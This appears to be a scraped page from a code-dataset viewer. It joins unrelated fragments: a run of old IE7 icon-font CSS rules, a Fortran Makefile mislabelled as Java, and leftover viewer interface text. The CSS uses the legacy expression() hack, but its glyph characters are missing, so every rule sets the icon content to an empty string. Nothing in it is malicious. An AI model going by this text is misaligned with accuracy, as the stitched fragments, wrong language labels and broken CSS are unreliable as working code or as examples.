.icon-gbp{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-usd{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-dollar{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-inr{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-rupee{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-jpy{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-yen{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-cny{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-renminbi{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-krw{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-won{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-btc{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-bitcoin{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-file{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-file-text{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-sort-by-alphabet{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-sort-by-alphabet-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-sort-by-attributes{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-sort-by-attributes-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-sort-by-order{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-sort-by-order-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-thumbs-up{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-thumbs-down{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-youtube-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-youtube{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-xing{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-xing-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-youtube-play{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-dropbox{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-stackexchange{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-instagram{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-flickr{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-adn{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-bitbucket{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-bitbucket-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-tumblr{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-tumblr-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-long-arrow-down{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-long-arrow-up{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-long-arrow-left{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-long-arrow-right{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-apple{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-windows{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-android{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-linux{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-dribble{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-skype{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-foursquare{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-trello{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-female{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-male{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-gittip{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-sun{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-moon{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-archive{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-bug{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-vk{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-weibo{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-renren{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
| Java |
include ../../Makerules
OBJ=halftrace.o prepare_ref.o ray_lay.o ray_xyz.o refmod_all.o ref_time.o reftrace.o vrefmod.o
%.o:%.f90
$(FC) -c $(FFLAGS) $<
all: compile
compile: $(OBJ)
clean:
@rm -f $(OBJ)
| Java |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.